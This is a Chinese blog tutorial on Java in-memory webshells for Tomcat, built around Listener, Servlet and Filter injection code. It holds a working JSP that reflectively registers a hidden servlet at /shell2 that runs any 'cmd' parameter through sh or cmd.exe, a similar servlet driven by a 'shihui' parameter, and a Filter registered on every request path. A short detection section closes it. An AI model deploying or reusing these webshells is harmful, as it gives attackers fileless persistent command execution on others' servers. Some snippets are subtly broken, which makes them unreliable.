小谈java内存马
基础知识
(代码功底不好,就找ai优化了一下)
Java内存马是一种利用Java虚拟机(JVM)动态特性(如类加载机制、反射技术等)在内存中注入恶意代码的攻击手段。它不需要在磁盘上写入文件,因此具有很强的隐蔽性,难以被传统基于文件系统的安全检测工具发现。
Java内存马的实现主要依赖以下JVM特性:
反射机制:通过反射可以动态地操作类、方法和字段,甚至可以调用私有方法或修改私有字段。
动态类加载:Java允许在运行时动态加载新的类,内存马利用这一点将恶意代码加载到JVM中。
字节码操作:通过工具(如ASM、CGLIB)可以动态生成或修改字节码,从而注入恶意逻辑。
Java内存马的常见类型 | 原理 |
---|---|
Servlet型内存马 | 利用Java反射技术和Web容器(如Tomcat)的API,在运行时动态注册恶意的Servlet组件。当访问特定URL时,恶意Servlet会被触发执行。 |
Listener型内存马 | 利用Java反射技术和Web容器(如Tomcat)的API,在运行时动态注册恶意的Servlet组件。当访问特定URL时,恶意Servlet会被触发执行 |
Filter型内存马 | 动态注册恶意的Filter(过滤器),在请求到达Servlet之前拦截请求并执行恶意代码。 |
Valve型内存马 | 基于Tomcat的Valve机制,动态注册恶意Valve组件。Valve在请求处理流程中更早地拦截请求,甚至可以拦截所有请求 |
Java-Agent型内存马 | 利用Java-Agent技术,通过java.lang.instrument包动态修改类的字节码,注入恶意代码。这种方式可以在不修改源代码的情况下,修改已加载类的行为 |
讲人话,就是java内存马是无文件落地的,利用Java的动态特性将恶意代码注入到内存中运行,且能够在不触发文件检测的情况下长期驻留,但内存马的持久性依赖于JVM的运行,一旦JVM重启,内存马通常会失效。
java三大组件
Servlet 、Filter 、Listener
三个组件的作用…(叽里咕噜一大堆)
三大组件 | 总结与区别 |
---|---|
Servlet | 核心功能:处理请求和响应,生成动态内容。生命周期:由请求触发,每次请求都会调用doGet()或doPost()方法。 作用范围:针对具体的请求和响应。 |
Filter | 核心功能:拦截请求和响应,执行预处理或后处理。 生命周期:在请求到达Servlet之前或响应返回客户端之前被调用。作用范围:可以作用于多个Servlet或整个应用。 |
Listener | 核心功能:监听生命周期事件,执行特定逻辑。生命周期:在事件发生时被调用,例如应用启动、会话创建等。 作用范围:全局作用,监听整个应用的生命周期。 |
当然了,要了解一下JAVA Web的访问流程
1、我们去请求一个1.jsp
2、经过Listener组件,如果存在的话
3、经过Filter组件,如果存在的话
4、此时来到Servlet这个组件,如果服务端存在1.jsp这个文件的话,那么就会去请求相对应的路由
5、访问1.jsp这文件
Listener、Filter这两个组件不一定会经过,但是Servlet这个组件一定会经过,因为Servlet 是 Java Web 开发的核心组件,用于处理请求并生成响应
Listener
基于 Listener 的内存马利用 Tomcat 的 API 和 Java 的反射机制,在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。
第一个小复现
在本机的idea上测试,先建一个项目,再新建一个test的类
其中建立一个Listener监听器,指向刚刚建立的test1文件内容
再test1类中写入
package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;public class test1 implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println("requestInitialized");ServletRequestListener.super.requestInitialized(arg0);}@Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println("requestDestroyed");ServletRequestListener.super.requestDestroyed(arg0);}
}
说明成功运行
我们同样可以加入一些执行代码。比如弹计算器啊
我这里加入了一些代码,访问后发现打开了文件夹
package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;
import jakarta.servlet.http.HttpServletRequest;@WebListener
public class Test1 implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent event) {// 将 ServletRequest 转换为 HttpServletRequestHttpServletRequest request = (HttpServletRequest) event.getServletRequest();System.out.println("Request initialized: " + request.getRequestURI());executeCommand(); // 调用执行命令的方法}@Overridepublic void requestDestroyed(ServletRequestEvent event) {// 将 ServletRequest 转换为 HttpServletRequestHttpServletRequest request = (HttpServletRequest) event.getServletRequest();System.out.println("Request destroyed: " + request.getRequestURI());}/*** 执行系统命令的方法。*/private void executeCommand() {try {// 根据操作系统类型执行不同的命令String os = System.getProperty("os.name").toLowerCase();String command;if (os.contains("win")) {// Windows 系统:打开文件管理器command = "explorer.exe";} else if (os.contains("mac")) {// macOS 系统:打开Findercommand = "open";} else {// Linux 系统:打开默认文件管理器command = "xdg-open";}// 执行命令Process process = Runtime.getRuntime().exec(command);System.out.println("Command executed: " + command);} catch (Exception e) {System.err.println("Failed to execute command: " + e.getMessage());}}
}
Listener内存马通常是指动态注册一个新的恶意Listener组件,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西,其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个Listener,Listener内存马不会覆盖原有的Listener组件,新旧Listener会共存并同时生效。
但又有一个问题来了,listener 是咋把我们创建的类test1加载到内存中的
答案就是:
StandardContext类的context
StandardContext是Tomcat中管理Web应用生命周期的核心类,它通过addApplicationEventListener方法将Listener加载到内存中,并在适当的事件发生时调用它们。我们可以通过web.xml配置、注解或动态注册的方式将自定义的Listener(如Test1)添加到StandardContext中。
Servlet
Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。
该内存马流程大致如下:
创建servlet获取StandardContext#context创建wrapper并写入servlet信息添加wrapper并添加路由信息
第二个小复现
和之前的linstener差不多一样的构建方法
创建一个test2类,写入下面的代码
package com.sf.maven.servletshell;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;public class test2 extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>GET Request Received</h1>");out.println("<p>Method: GET</p>");out.println("</body></html>");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>POST Request Received</h1>");out.println("<p>Method: POST</p>");out.println("</body></html>");}@Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>PUT Request Received</h1>");out.println("<p>Method: PUT</p>");out.println("</body></html>");}
}
那么就可以创建一个恶意jsp,来达成我们的目的
package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;public class EvilServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}@Overrideprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}private void processRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {response.setContentType("text/plain");PrintWriter out = response.getWriter();String command = request.getParameter("shihui");if (command != null && !command.trim().isEmpty()) {try {Process process = Runtime.getRuntime().exec(command);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);}} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}} else {response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing or empty 'shihui' parameter");}}// 动态注册恶意 Servlet 到 Tomcatpublic static void registerEvilServlet() throws Exception {// 获取当前 ServletContextServletConfig servletConfig = EvilServlet.class.getServletConfig();Context context = (Context) servletConfig.getServletContext();// 创建 Wrapper 并封装恶意 ServletWrapper wrapper = new Wrapper();wrapper.setName("EvilServlet");wrapper.setServletClass(EvilServlet.class.getName());wrapper.setLoadOnStartup(1);// 添加到 StandardContextStandardContext standardContext = (StandardContext) context;standardContext.addChild(wrapper);standardContext.addServletMappingDecoded("/evil", "EvilServlet");System.out.println("EvilServlet registered successfully.");}
}
成功截图就懒的放了,方便下滑
CVE-2020-1938
Servlet和Tomcat的关系 Tomcat里面有Servlet容器(引擎) Tomcat可以提供HTTP访问
Tomcat可以把HTTP请求转换为HttpServletRequest对象,并调用doGet/doPost,并且把HttpServletResponse转换为HTTP响应内容
为了方便演示,这里跳过RCE,因为我们现在是想往当前 Tomcat 搭建的 Web 服务中动态注入一个恶意 Servlet,完成这个目标的前提是已经拥有了一个 Webshell
所以我这直接手动向将一个恶意 jsp 文件,实现一个恶意 Servlet 的动态注册,从而达到注入内存马操作
我们先新建一个恶意jsp文件
(找ai优化了一下代码)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="java.lang.reflect.Field" %><%!public class Shell2Servlet extends HttpServlet {@Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd = request.getParameter("cmd");if (cmd == null || cmd.isEmpty()) {response.getWriter().println("No command provided.");return;}boolean isLinux = System.getProperty("os.name").toLowerCase().contains("win") == false;String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};Process process = Runtime.getRuntime().exec(cmds);InputStream inputStream = process.getInputStream();Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");String output = scanner.hasNext() ? scanner.next() : "No output.";PrintWriter writer = response.getWriter();writer.println(output);writer.flush();}}
%><%ServletContext servletContext = request.getServletContext();try {Field applicationField = servletContext.getClass().getDeclaredField("context");applicationField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext context = (StandardContext) standardContextField.get(applicationContext);Wrapper wrapper = context.createWrapper();wrapper.setName("Shell2Servlet");wrapper.setServletClass(Shell2Servlet.class.getName());context.addChild(wrapper);context.addServletMappingDecoded("/shell2", "Shell2Servlet");out.println("Shell2Servlet injected successfully!");out.println("Access URL: /shell2");out.println("Parameter: cmd");} catch (Exception e) {out.println("Injection failed: " + e.getMessage());}
%>
分析上面的代码,我们可以从两部分来分析
Shell2Servlet类
这部分定义了一个继承自HttpServlet的类,用于处理HTTP请求并执行系统命令。
<%!public class Shell2Servlet extends HttpServlet {@Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd = request.getParameter("cmd"); // 从请求中获取名为"cmd"的参数if (cmd == null || cmd.isEmpty()) {response.getWriter().println("No command provided."); // 如果没有命令,返回提示信息return;}boolean isLinux = System.getProperty("os.name").toLowerCase().contains("win") == false; // 判断操作系统类型String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; // 构造命令Process process = Runtime.getRuntime().exec(cmds); // 执行命令InputStream inputStream = process.getInputStream(); // 获取命令的输出流Scanner scanner = new Scanner(inputStream).useDelimiter("\\A"); // 使用Scanner读取输出String output = scanner.hasNext() ? scanner.next() : "No output."; // 将输出转换为字符串PrintWriter writer = response.getWriter(); // 获取响应的输出流writer.println(output); // 将命令的输出写入HTTP响应writer.flush(); // 刷新输出流}}
%>
service方法:
这是一个通用的请求处理方法,用于处理所有类型的HTTP请求(GET、POST等)。
它从请求中获取cmd参数,该参数包含要执行的系统命令。
操作系统判断:
通过System.getProperty(“os.name”)获取操作系统名称。
如果是Linux/Unix系统,使用sh -c执行命令;如果是Windows系统,使用cmd.exe /c执行命令。
命令执行:
使用Runtime.getRuntime().exec()执行命令。
通过InputStream获取命令的输出,并使用Scanner将其转换为字符串。
响应输出:
将命令的输出写入HTTP响应中,返回给客户端。
JSP页面中的动态注入
这部分代码通过反射操作Tomcat的内部类,动态注入Shell2Servlet,使其能够响应特定的URL路径。
<%ServletContext servletContext = request.getServletContext(); // 获取当前Web应用的ServletContexttry {Field applicationField = servletContext.getClass().getDeclaredField("context"); // 获取ServletContext中的applicationContext字段applicationField.setAccessible(true); // 设置字段可访问ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); // 获取ApplicationContext对象Field standardContextField = applicationContext.getClass().getDeclaredField("context"); // 获取ApplicationContext中的standardContext字段standardContextField.setAccessible(true); // 设置字段可访问StandardContext context = (StandardContext) standardContextField.get(applicationContext); // 获取StandardContext对象Wrapper wrapper = context.createWrapper(); // 创建一个新的Wrapper对象wrapper.setName("Shell2Servlet"); // 设置Wrapper的名称wrapper.setServletClass(Shell2Servlet.class.getName()); // 设置Wrapper的Servlet类名context.addChild(wrapper); // 将Wrapper添加到StandardContext中context.addServletMappingDecoded("/shell2", "Shell2Servlet"); // 将Servlet映射到URL路径"/shell2"out.println("Shell2Servlet injected successfully!"); // 输出注入成功的信息out.println("Access URL: /shell2");out.println("Parameter: cmd");} catch (Exception e) {out.println("Injection failed: " + e.getMessage()); // 如果注入失败,输出错误信息}
%>
获取ServletContext:
request.getServletContext()获取当前Web应用的ServletContext对象。
反射操作:
使用反射获取ServletContext中的ApplicationContext对象。
使用反射获取ApplicationContext中的StandardContext对象。
创建Wrapper对象:
StandardContext是Tomcat中用于管理Servlet的容器。
创建一个新的Wrapper对象,用于托管Shell2Servlet。
设置Wrapper的名称和Servlet类名,并将其添加到StandardContext中。
映射URL路径:
使用addServletMappingDecoded方法将Shell2Servlet映射到URL路径/shell2。
这意味着访问/shell2时,请求将被转发到Shell2Servlet。
输出注入结果:
如果注入成功,输出成功信息和访问路径。
如果注入失败,输出错误信息。
注入完成
把该恶意jsp放入tomcat容器的/webapps/ROOT中
再去访问url/shihui.jsp,完成恶意 Servlet 的动态注入到 Tomcat 容器的动作,即注入内存马
成功访问我们注入的内存马,再url里带上一个cmd参数
Filter
流程
创建 Filter 对象:实现 javax.servlet.Filter 接口。
获取 StandardContext:通过反射获取当前 Web 应用的 StandardContext 对象。
配置 FilterDef:定义 Filter 的别名、类名和实例。
配置 FilterMap:定义 Filter 的触发路由。
将 FilterDef 和 FilterMap 添加到 StandardContext:通过反射将 Filter 注册到 Web 容器中。
filter内存马和listerner的区别
listerner内存马只需控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类,但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的
第三个复现
创建test3类的流程和之前一样,先在test3类里填入代码
package com.sf.maven.servletshell;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;public class test3 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法,在 Filter 启动时调用System.out.println("init");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 将通用 ServletRequest 转换为 HttpServletRequestHttpServletRequest httpRequest = (HttpServletRequest) request;// 在请求处理之前执行逻辑System.out.println("Request received: " + httpRequest.getRequestURI());// 继续传递请求到下一个 Filter 或目标 Servletchain.doFilter(request, response);// 在请求处理之后执行逻辑System.out.println("Request processed: " + httpRequest.getRequestURI());}@Overridepublic void destroy() {// 销毁方法,在 Filter 停止时调用System.out.println("destroy");}
}
再加入你的恶意代码即可
下面这串是整个恶意代码包括之前创建类的代码
package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;public class test3 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法,在 Filter 启动时调用System.out.println("init");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 将通用 ServletRequest 转换为 HttpServletRequestHttpServletRequest httpRequest = (HttpServletRequest) request;// 在请求处理之前执行逻辑System.out.println("Request received: " + httpRequest.getRequestURI());// 继续传递请求到下一个 Filter 或目标 Servletchain.doFilter(request, response);// 在请求处理之后执行逻辑System.out.println("Request processed: " + httpRequest.getRequestURI());}@Overridepublic void destroy() {// 销毁方法,在 Filter 停止时调用System.out.println("destroy");}/*** 动态注册 Filter 到 Tomcat*/public static void registerFilter(ServletRequest request) throws Exception {// 获取当前 ServletContextServletContext servletContext = request.getServletContext();// 通过反射获取 StandardContextField contextField = servletContext.getClass().getDeclaredField("context");contextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// 创建 FilterDef 并配置 FilterFilterDef filterDef = new FilterDef();filterDef.setFilterName("test3Filter"); // 设置 Filter 别名filterDef.setFilterClass(test3.class.getName()); // 设置 Filter 类名filterDef.setFilter(new test3()); // 设置 Filter 实例// 创建 FilterMap 并配置触发路由FilterMap filterMap = new FilterMap();filterMap.setFilterName("test3Filter"); // 设置 Filter 别名filterMap.addURLPattern("/*"); // 设置触发路由,匹配所有请求// 将 FilterDef 和 FilterMap 添加到 StandardContextstandardContext.addFilterDef(filterDef);standardContext.addFilterMap(filterMap);System.out.println("Filter 'test3Filter' registered successfully.");}
}
三大内存马的总结
省流版
Servlet 内存马:通过动态注册恶意 Servlet 并绑定 URL 路由,当访问特定路径时触发恶意逻辑。
Filter 内存马:通过动态注册恶意 Filter 并配置路由,拦截请求时触发恶意逻辑。
Listener 内存马:通过动态注册恶意 Listener,当特定事件发生时(如应用启动、会话创建)触发恶意逻辑。
-
Servlet 内存马的流程
创建恶意 Servlet:
定义一个恶意的 HttpServlet,在 doGet 或 doPost 方法中实现恶意逻辑(如执行命令、读取文件等)。
动态注册 Servlet:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建一个 Wrapper 对象,封装恶意 Servlet 的类名和实例。
将 Wrapper 添加到 StandardContext 中,并绑定一个 URL 路由(如 /evil)。
添加 Servlet 映射,使恶意 Servlet 能够响应特定路径的请求。
触发恶意逻辑:
当客户端访问绑定的 URL 路由时,恶意 Servlet 被触发,执行恶意逻辑。 -
Filter 内存马的流程
创建恶意 Filter:
定义一个实现 Filter 接口的恶意类,在 doFilter 方法中实现恶意逻辑。
动态注册 Filter:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建 FilterDef 对象,配置恶意 Filter 的别名、类名和实例。
创建 FilterMap 对象,定义 Filter 的触发路由(如 /*,匹配所有请求)。
将 FilterDef 和 FilterMap 添加到 StandardContext 中。
触发恶意逻辑:
当客户端发起请求时,恶意 Filter 会根据配置的路由拦截请求,并执行恶意逻辑。 -
Listener 内存马的流程
创建恶意 Listener:
定义一个实现 ServletContextListener 或 HttpSessionListener 接口的恶意类,在 contextInitialized 或 sessionCreated 方法中实现恶意逻辑。
动态注册 Listener:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建恶意 Listener 的实例。
将恶意 Listener 添加到 StandardContext 的监听器列表中。
触发恶意逻辑:
当 Web 应用启动(contextInitialized)或会话创建(sessionCreated)时,恶意 Listener 被触发,执行恶意逻辑。
value和agent(纯理论,无实操版)
这两个我就放一起总结了,当然不是因为懒
value是tomcat独有的
他的流程如下:
寻找目标对象或类:
找到目标应用中已存在的对象或类,这些对象或类通常具有可被利用的属性(如 value)。
修改目标对象的属性或行为:
通过反射或其他方式修改目标对象的属性值,注入恶意代码。
例如,修改某个全局变量或配置类的属性,使其包含恶意逻辑。
触发恶意代码:
当目标对象的属性被访问或使用时,恶意代码被触发。
这种触发方式通常依赖于特定的请求或操作,例如访问某个特定的 URL 或调用某个方法。
也就是说该内存马是通过修改现有对象或类的属性,适合在已有组件的基础上进行简单修改,但依赖一些特定的请求或操作
agent
Agent 类型内存马的流程:
1.创建 Agent 程序:
编写一个 Java Agent 程序,实现 premain 或 agentmain 方法。
使用 java.lang.instrument 包提供的 Instrumentation 和 ClassFileTransformer 接口来动态修改字节码。
2.打包 Agent 为 JAR 文件:
将 Agent 程序打包为 JAR 文件,并在 MANIFEST.MF 文件中指定 Premain-Class 或 Agent-Class。
3.加载 Agent:
premain 方式:在 JVM 启动时通过 -javaagent 参数加载。
agentmain 方式:在 JVM 启动后,通过 Attach API 动态加载。
使用 VirtualMachine 类连接到目标 JVM,并调用 loadAgent 方法。
4.修改字节码:
使用字节码操作库(如 Javassist、ASM)动态修改目标类的字节码。
例如,可以在目标类的方法中插入恶意代码。
5.触发恶意代码:
当目标类的方法被调用时,恶意代码被触发。
由于修改发生在内存中,不会留下文件痕迹,因此隐蔽性很高。
那么我们就可以发现Agent 类型内存马,他是用 Java Agent 技术动态修改字节码来完成的,实现复杂,但可以动态注入到已启动的 JVM 中,隐蔽性很高
查杀
虽然没几个人可以手动排查内存马,但也走个过场,作为了解即可,基本都是用工具
想要查杀那么就得先定位
内存马虽然是无文件落地的,但你也可以从其的流量特征和代码特征两个方面来完成定位
所谓的流量特征和代码特征,围绕的点,无外乎是老生常谈的那几点:
异常路径和状态码, 攻击者可能会尝试通过访问 /shell, /cmd, /hack, /test 等不存在的路径,并携带参数执行命令。
动态变化的数据包大小: 内存马在执行命令或返回结果时,会导致数据包大小发生动态变化,这是内存马活动的典型特征。
特殊的 User-Agent 或 Referer 字段: 攻击者有时会使用特殊的 User-Agent 或 Referer 字段来标识或控制内存马。
恶意的代码执行,因为内存马的核心功能是执行恶意命令。
可疑的类名和包名,比如我之前搞的test类。
加解密操作: 为了隐藏恶意代码和通信内容,内存马通常会使用加解密算法,例如 AES、Base64 等。
动态注册组件: 内存马可能会利用 Java 反射机制动态注册 Filter、Servlet、Listener 等组件。
…
至于查杀,这个图很好的描述了
相关文章:

小谈java内存马
基础知识 (代码功底不好,就找ai优化了一下) Java内存马是一种利用Java虚拟机(JVM)动态特性(如类加载机制、反射技术等)在内存中注入恶意代码的攻击手段。它不需要在磁盘上写入文件,…...

简单的二元语言模型bigram实现
内容总结归纳自视频:【珍藏】从头开始用代码构建GPT - 大神Andrej Karpathy 的“神经网络从Zero到Hero 系列”之七_哔哩哔哩_bilibili 项目:https://github.com/karpathy/ng-video-lecture Bigram模型是基于当前Token预测下一个Token的模型。例如&#x…...

【清华大学】实用DeepSeek赋能家庭教育 56页PDF文档完整版
清华大学-56页:实用DeepSeek赋能家庭教育.pdf https://pan.baidu.com/s/1BUweVDeG2M8-t0QaIs3LHQ?pwd1234 提取码: 1234 或 https://pan.quark.cn/s/8a9473493bb0 《实用DeepSeek赋能家庭教育》基于清华大学研究成果,系统阐述了DeepSeek人工智能技…...

黑洞如何阻止光子逃逸
虽然涉及广义相对论,但广义相对论说的是大质量物体对周围空间的影响,而不是说周围空间和空间中的光子之间的关系。也就是说,若讨论光子逃逸问题,则不必限定于大质量的前提,也就是说,若质量周围被扭曲的空间…...

1.4 单元测试与热部署
本次实战实现Spring Boot的单元测试与热部署功能。单元测试方面,通过JUnit和Mockito等工具,结合SpringBootTest注解,可以模拟真实环境对应用组件进行独立测试,验证逻辑正确性,提升代码质量。具体演示了HelloWorld01和H…...

window系统中的start命令详解
start 是 Windows 系统中用于启动新进程或打开新窗口来运行指定程序或命令的命令。以下是对 start 命令参数的详细解释: 基本语法 start ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED] [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENO…...

AI编程工具节选
1、文心快码 百度基于文心大模型推出的一款智能编码助手, 官网地址:文心快码(Baidu Comate)更懂你的智能代码助手 2、通义灵码 阿里云出品的一款基于通义大模型的智能编码辅助工具, 官网地址:通义灵码_你的智能编码助手-阿里云 …...

正则表达式,idea,插件anyrule
package lx;import java.util.regex.Pattern;public class lxx {public static void main(String[] args) {//正则表达式//写一个电话号码的正则表达式String regex "1[3-9]\\d{9}";//第一个数字是1,第二个数字是3-9,后面跟着9个数字…...

原生iOS集成react-native (react-native 0.65+)
由于官方文档比较老,很多配置都不能用,集成的时候遇到很多坑,简单的整理一下 时间节点:2021年9月1日 本文主要提供一些配置信息以及错误信息解决方案,具体步骤可以参照官方文档 原版文档:https://reactnative.dev/docs…...

java错题总结
本篇文章用来记录学习javaSE以来的错题 解答:重载要求俩个方法的名字相同,但参数的类型或者个数不同,但是不要求返回类型相同,所以A正确。 重写还需要要求返回类型相同(呈现父子类关系也可以,但是属于特例&…...

【商城实战(10)】解锁商品信息录入与展示的技术密码
【商城实战】专栏重磅来袭!这是一份专为开发者与电商从业者打造的超详细指南。从项目基础搭建,运用 uniapp、Element Plus、SpringBoot 搭建商城框架,到用户、商品、订单等核心模块开发,再到性能优化、安全加固、多端适配…...

2025年主流原型工具测评:墨刀、Axure、Figma、Sketch
2025年主流原型工具测评:墨刀、Axure、Figma、Sketch 要说2025年国内产品经理使用的主流原型设计工具,当然是墨刀、Axure、Figma和Sketch了,但是很多刚入行的产品经理不了解自己适合哪些工具,本文将从核心优势、局限短板、协作能…...

MDM 如何彻底改变医疗设备的远程管理
在现代医疗行业迅速发展的格局中,医院和诊所越来越依赖诸如医疗平板和移动工作站等移动设备。这些设备在提高工作效率和提供卓越的患者护理方面发挥着关键作用。然而,随着它们的广泛使用,也带来了一系列挑战,例如在不同地点确保数…...

OpenCV计算摄影学(18)平滑图像中的纹理区域同时保留边缘信息函数textureFlattening()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 cv::textureFlattening 是 OpenCV 中用于图像处理的一个函数,旨在平滑图像中的纹理区域,同时保留边缘信息。该技术特别适…...

用DeepSeek学Android开发:Android初学者遇到的常见问题有哪些?如何解决?
答案来自 DeepSeek Q: Android初学者遇到的常见问题有哪些?如何解决? A: Android初学者在学习过程中常会遇到以下问题及对应的解决方法,按类别整理如下: 一、开发环境问题 Android Studio安装或配置问题 问题:安装失…...

springboot 集成 MongoDB 基础篇
demo架构: Book Controller: package com.zy.controller;import com.zy.entity.Book; import com.zy.service.MongoDbService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.Get…...

大白话html语义化标签优势与应用场景
大白话html语义化标签优势与应用场景 大白话解释 语义化标签就是那些名字能让人一看就大概知道它是用来做什么的标签。以前我们经常用<div>来做各种布局,但是<div>本身没有什么实际的含义,就像一个没有名字的盒子。而语义化标签就像是有名…...

恶劣天候三维目标检测论文列表整理
恶劣天候三维目标检测论文列表 图摘自Kradar 🏠 介绍 Hi,这是有关恶劣天气下三维目标检测的论文列表。主要是来源于近3年研究过程中认为有意义的文章。希望能为新入门的研究者提供一些帮助。 可能比较简陋,存在一定的遗漏,欢迎…...

conda的环境起的jupyter用不了已经安装的包如何解决
当你在使用Conda环境中的Jupyter Notebook时遇到无法读取某些库或模块的问题,通常是由以下几个原因引起的: 环境未激活:确保你已经在正确的Conda环境中激活了Jupyter Notebook。 库未安装:可能你需要的库没有在当前的Conda环境中…...

蓝桥杯题型
蓝桥杯题型分类 二分 123 传送门 1. 小区间的构成 假设数列的构成是如下形式: 第 1 个区间包含 1 个元素(1)。第 2 个区间包含 2 个元素(1 2)。第 3 个区间包含 3 个元素(1 2 3)。第 4 个区…...

STM32-I2C通信协议
一:I2C通信协议 就是在串口通信上满足四个要求 要求1:删掉一根通信线,防止资源浪费,只能在同一根线上进行发送和接收要求2:需要一个应答机制,没发送一个字节都有一次应答要求3:一根线上能同时…...

taosd 写入与查询场景下压缩解压及加密解密的 CPU 占用分析
在当今大数据时代,时序数据库的应用越来越广泛,尤其是在物联网、工业监控、金融分析等领域。TDengine 作为一款高性能的时序数据库,凭借独特的存储架构和高效的压缩算法,在存储和查询效率上表现出色。然而,随着数据规模…...

uniapp微信小程序vue3自定义tabbar
在App.vue隐藏原生tabbar,也可以在pages.json中配置 二选一就好了 创建 CustomTabBar 公共组件 <template><view class"custom-tab-bar" :style"{paddingBottom: safeAreaHeight px}"><view class"tab-bar-item" :…...

BUUCTF——[GYCTF2020]FlaskApp1 SSTI模板注入/PIN学习
目录 一、网页功能探索 二、SSTI注入 三、方法一 四、方法二 使用PIN码 (1)服务器运行flask登录所需的用户名 (2)modename (3)flask库下app.py的绝对路径 (4)当前网络的mac地…...

如何用Kimi生成PPT?秒出PPT更高效!
做PPT是不是总是让你头疼?😩 快速制作出专业的PPT,今天我们要推荐两款超级好用的AI工具——Kimi 和 秒出PPT!我们来看看哪一款更适合你吧!🚀 🥇 Kimi:让PPT制作更轻松 Kimi的生成效…...

数据结构(回顾)
